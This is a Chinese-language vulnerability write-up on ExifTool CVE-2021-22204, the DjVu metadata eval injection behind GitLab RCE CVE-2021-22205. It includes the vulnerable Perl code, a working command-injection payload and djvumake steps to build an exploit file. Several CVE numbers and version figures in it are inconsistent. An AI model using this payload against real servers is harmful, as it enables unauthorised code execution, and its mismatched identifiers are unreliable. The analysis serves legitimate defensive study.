CVE-2021-22205:Gitlab RCE分析之一:ExifTool CVE-2021-22004起源
漏洞信息
近日,互联网披露Gitlab存在远程命令执行漏洞,编号为CVE-2021-22205,可在未授权条件下直接获取控制权。影响范围如下:
- 11.9 <= GitLab(CE/EE)< 13.8.8
- 13.9 <= GitLab(CE/EE)< 13.9.6
- 13.10 <= GitLab(CE/EE)< 13.10.3
通过深入分析发现该漏洞源于Exiftool自身的另一个漏洞CVE-2021-22204。下面计划采用2篇文章完成整个漏洞分析:
- Exiftool CVE-2021-22004 RCE漏洞分析
- Gitlab CVE-2021-22005 从认证后RCE提升到未授权RCE
今天先分析下CVE-2021-22204。
补丁对比
Exiftool CVE-2021-22004影响v7.44以前的版本,漏洞信息如下:
Gitlab v13.10.2版本使用的Exiftool版本为11.70,正好在漏洞范围之内,实际上CVE-2021-22204是在测试GitLab问题时被挖掘出来的。
根据commit信息,Exiftool在v12.4版本中修补了DjVu reader漏洞。
在commit中搜索`eval`等PERL危险函数,`lib/Image/Exiftool/DjVu.pm`删除了`eval`函数调用。
Exiftool解析规则
调用的函数为`ParseAnt`。
注意到注释里的Djvu字符串,查阅资料可知DjVu是由AT&T实验室自1996年起开发的一种图像压缩技术,已发展成为标准的图像文档格式之一,可替代PDF成为网络传输扫描文档、数码照片、图像文件的主流技术。主流Linux发行版都有djvu的查看和编辑工具,centos可通过`yum install djvulibre`安装,ubuntu则为`sudo apt install djvulibre-bin`。而`djvulibre`工具中,`djvumake`命令可根据模板编译,参考如下:
djvumake
http://djvu.sourceforge.net/doc/man/djvumake.html
全文搜索代码,并没有找到ParseAnt的调用,但是可以在`/Exiftool/Exiftool/12.23/t/images/DjVu.djvu`中找到合法的格式,而且包含`ANTz`字段,与`Duvj.pm`文件中`%Image::Exiftool::DjVu::Main`函数正好对应,同时通过`ANTa`和`ANTz`的定义猜测其分别是ASCII格式和BZZ加密格式。
通过比较不难发现,`JDVIANTz`后边跟的数据为`\x00\x00`+2字节长度+数据。
yum install perl-CPANperl Makefile.PLmakemake install
使用编译后的Exiftool解析`/Exiftool/Exiftool/12.23/t/images/DjVu.djvu`样例文件,获得到的变量如下:
(metadata (Author "Phil Harvey") (Title "DjVu Metadata Sample") (Subject "Exiftool DjVu test image") (Creator "Exiftool") (CreationDate "2008-09-23T12:31:34-04:00") (ModDate "2008-11-11T09:17:10-05:00") (Keywords "Exiftool, Test, DjVu, XMP") (Producer "djvused") (note "Must escape double quotes (\") and backslashes (\\)") (Trapped "Unknown") (annote "Did you get this?") (url "https://Exiftool.org/") )(xmp ")
安装`djvulibre`工具后,正好有bzz压缩命令。自行构造文件,然后进行数据压缩。
利用bzz压缩后的数据拷贝到原有的duvj文件中,可以正常解析metadata,这里就已经找到了构造合法duvj文件的方法。
漏洞定位
接下来就是定位漏洞原因了,主要是`ParseAnt`函数。
- 函数主要为读取Metadata内容进行循环解析
- 从每一个形如`(Author "Phil Harvey")`的数据中提取tok,及`Author`的值
sub ParseAnt($){ my $dataPt = shift; my (@toks, $tok, $more);Tok: for (;;) { # 1. 循环处理传入字符串 last unless $$dataPt =~ /(\S)/sg; if ($1 eq '(') { # 2. 使用括号分割处理每一个字段 $tok = ParseAnt($dataPt); } elsif ($1 eq ')') { $more = 1; last; } elsif ($1 eq '"') { # 3. 当遇到双引号时,继续进行内容处理 $tok = ''; for (;;) { # 4. 处理匹配/"/sg正则表达式 my $pos = pos($$dataPt); last Tok unless $$dataPt =~ /"/sg; # 4. s表示匹配任意字符,包括换行;g表示匹配多次,处理有多个"的情况 $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos); # 5. 提取tok last unless $tok =~ /(\\+)$/ and length($1) & 0x01; # 6. 提取tok,注意这里没有加上s参数。 $tok .= '"'; # quote is part of the string } $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge; # 7. 去除$、@字符 # convert C escape sequences (allowed in quoted text) $tok = eval qq{"$tok"}; # 8. 执行eval语句 } } ......}
(8)中执行`eval`语句需要闭合双引号;(4)中正则匹配添加了`/s`参数来处理换行的情形,而(6)却没有;(6)中正则的目的是检查当前子字符串是否以奇数个反斜杠结尾。如果是,则假定它刚刚找到的引用已正确转义,并且应该是元数据的一部分。
问题的原因是:当引号前的最后两个字符是反斜杠和换行符时,此逻辑就会失效。(6)的正则表达式在解析`\`时会认为它匹配了`\`,这会导致双引号包含在子字符串中,那么下一行中的第一个双引号就会被当做字符串中的内容。当输入如下表达式时,`" . return ~id~; #"`字符串会被传入(8)中,实现了双引号闭合。
# raw(metadata (Author "\" . return `id`; #"))
封装到Djvu文件中,成功执行了系统命令,顺便修改了代码附上各步骤执行后的结果,以便大家观察。
补充说明
其实CVE-2021-22204漏洞的利用上半年就已放出,所以CVE-2021-22205漏洞在野攻击时间也应该很长了,另一种简单的生成方式是使用`djvumake`编译,方法如下:
$ bzz payload payload.bzz$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
上面对Gitlab CVE-2021-22205漏洞的起源Exiftool CVE-2021-22004原理进行了详细分析,下一篇我们将基于上面的基础,完成整个漏洞原理分析。
参考
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204
https://github.com/Exiftool/Exiftool
http://djvu.sourceforge.net/doc/man/djvumake.html